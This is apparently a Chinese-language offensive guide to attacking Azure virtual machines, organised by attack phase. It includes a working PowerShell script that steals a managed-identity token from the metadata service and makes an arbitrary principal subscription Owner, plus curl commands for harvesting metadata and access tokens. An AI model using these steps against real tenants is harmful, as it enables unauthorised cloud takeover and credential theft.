微軟云 VM攻防
0x01 初始訪問
1、元數據
微軟云元數據以 REST API 的形式公開。它的根端點是http://169.254.169.254/metadata
微軟為其 API 端點實施了一些額外的安全措施——需要特殊的標頭:Metadata:true
http://169.254.169.254/metadata/versions 元數據版本,元數據功能會不時更新,但需要在訪問時指定版本以保持向后兼容性http://169.254.169.254/metadata/instance?api-version=2021-05-01 實例元數據,實例元數據提供 VM 配置信息。http://169.254.169.254/metadata/attested/document?api-version=2021-05-01 認證數據,認證數據是由Microsoft簽名的數據http://169.254.169.254/metadata/loadbalancer?api-version=2021-05-01 負載均衡器元數據http://169.254.169.254/metadata/scheduledevents?api-version=2020-07-01 預定活動,獲取VM即將要發生的事件的信息http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ 獲取訪問令牌
2、憑證泄露
Azure 平臺用戶名密碼泄露、Access token泄露
可能會存在服務帳號密鑰的位置,包括:開源項目的源代碼庫、公共存儲桶、遭破解服務的公共數據轉儲、電子郵件收件箱、文件共享、備份存儲、臨時文件系統目錄
0x02 命令執行
1、添加訂閱所有者
從元數據獲取Azure Rest API得令牌,如果返回了一個令牌,那么你將擁有一個可使用得托管身份,然后可以利用此令牌和REST API一起使用,在Azure中執行操作。
#---------Query MetaData for SubscriptionID---------#$response2 = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing$subID = ($response2.Content | ConvertFrom-Json).compute.subscriptionId
#---------Get OAuth Token---------#$response = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -Method GET -Headers @{Metadata="true"} -UseBasicParsing$content = $response.Content | ConvertFrom-Json$ArmToken = $content.access_token
#---------List Roles and Get Subscription Owner GUID---------#$roleDefs = (Invoke-WebRequest -Uri (-join('https://management.azure.com/subscriptions/',$subID,'/providers/Microsoft.Authorization/roleDefinitions?api-version=2015-07-01')) -Method GET -Headers @{ Authorization ="Bearer $ArmToken"} -UseBasicParsing).Content | ConvertFrom-Json$ownerGUID = ($roleDefs.value | ForEach-Object{ if ($_.properties.RoleName -eq 'Owner'){$_.name}})
#---------List current Subscription Owners---------#$roleAssigns = (Invoke-WebRequest -Uri (-join('https://management.azure.com/subscriptions/',$subID,'/providers/Microsoft.Authorization/roleAssignments/?api-version=2015-07-01')) -Method GET -Headers @{ Authorization ="Bearer $ArmToken"} -UseBasicParsing).content | ConvertFrom-Json$ownerList = ($roleAssigns.value.properties | where roleDefinitionId -like (-join('*',$ownerGUID,'*')) | select principalId)Write-Host "Current 'Owner' Principal IDs ("($ownerList.Count)"):"$ownerList | Out-Host
#---------Set JSON body for PUT request---------#$JSONbody = @"{ "properties": { "roleDefinitionId": "/subscriptions/$subID/providers/Microsoft.Authorization/roleDefinitions/$ownerGUID", "principalId": "CHANGE-ME-TO-AN-ID" }}"@
#---------Add User as a Subscription Owner---------#$fullResponse = (Invoke-WebRequest -Body $JSONbody -Uri (-join("https://management.azure.com/subscriptions/",$subID,"/providers/Microsoft.Authorization/roleAssignments/",$ownerGUID,"?api-version=2015-07-01")) -Method PUT -ContentType "application/json" -Headers @{ Authorization ="Bearer $ArmToken"} -UseBasicParsing).content | ConvertFrom-Json
#---------List updated Subscription Owners---------#$roleAssigns = (Invoke-WebRequest -Uri (-join('https://management.azure.com/subscriptions/',$subID,'/providers/Microsoft.Authorization/roleAssignments/?api-version=2015-07-01')) -Method GET -Headers @{ Authorization ="Bearer $ArmToken"} -UseBasicParsing).content | ConvertFrom-Json$ownerList = ($roleAssigns.value.properties | where roleDefinitionId -like (-join('*',$ownerGUID,'*')) | select principalId) Write-Host "Updated 'Owner' Principal IDs ("($ownerList.Count)"):"$ownerList | Out-Host
通過添加的用戶即可以去管理訂閱
2、服務器命令執行
在拿到控制臺權限后,可以通過控制臺下的運行命令功能來操作虛擬機。


3、SSH密鑰泄露
0x03 權限提升
一旦我們可以訪問托管身份并確認該身份的權限,我們就可以開始提升我們的權限。
身份是訂閱所有者:將訪客身份添加到訂閱
身份是訂閱貢獻者:虛擬機橫向移動,托管標識可以通過Azure Cli或API在其他虛擬機上執行命令
0x04 權限維持
1、新增服務器
在拿到控制臺后,添加一臺虛擬機作為后續滲透的跳板。
2、添加角色分配
分配角色時,必須指定一個范圍。 范圍是訪問權限適用于的資源集。 在 Azure 中,可在從廣義到狹義的四個級別指定范圍:管理組、訂閱、資源組或資源。
在頂部的“搜索”框中,搜索要授予對其的訪問權限的范圍。 例如,搜索“管理組”、“訂閱”、“資源組”或某個特定資源 。


再用添加的用戶去訪問,可以控制該訂閱下的所有資源。

3、惡意鏡像
我們可以通過創建鏡像功能來創建惡意鏡像。

0x05 信息收集
1、元數據
微軟云元數據以 REST API 的形式公開。它的根端點是http://169.254.169.254/metadata
獲取實例元數據,實例元數據提供 VM 配置信息
curl -H Metadata:true http://169.254.169.254/metadata/instance?api-version=2021-05-01

獲取認證數據
curl -H Metadata:true http://169.254.169.254/metadata/attested/document?api-version=2021-05-01

獲取負載均衡器元數據
curl -H Metadata:true http://169.254.169.254/metadata/loadbalancer?api-version=2021-05-01
獲取網絡信息
curl -H Metadata:true http://169.254.169.254/metadata/instance/network/interface/0?api-version=2021-01-01

獲取用戶數據
curl -H Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-01-01&format=text" | base64 --decode

獲取訪問令牌
response=$(curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true -s)access_token=$(echo $response | python -c 'import sys, json; print (json.load(sys.stdin)["access_token"])')echo The managed identities for Azure resources access token is $access_token

2、資源信息
通過控制臺所有資源查看該賬戶下所有資源。

3、訂閱信息
組織可以有多個訂閱,訂閱名稱通常提供信息。

4、用戶信息

0x06 橫向移動
1、虛擬機橫向移動
2、控制臺
通過拿到弱口令或者添加用戶到訂閱后,登錄控制臺可以去控制當前訂閱下其他虛擬機。

0x07 影響
1、子域名接管
當域名對應的實例銷毀或者當實例重新啟動后對應的公網ip發生變化,但域名還是指向原來的公網ip,此時會存在子域名被接管的風險,但是由于公網ip的隨機性,此攻擊的利用成本較大。

0x08 總結
整體而言,微軟云VM下的攻擊手法主要還是由于憑證泄露、配置錯誤這類問題導致的。
0x09 參考
- https://docs.azure.cn/zh-cn/virtual-machines/windows/instance-metadata-service?tabs=linux
- https://docs.azure.cn/zh-cn/active-directory/managed-identities-azure-resources/how-to-use-vm-token
- https://docs.microsoft.com/zh-cn/azure/virtual-machines/linux/run-command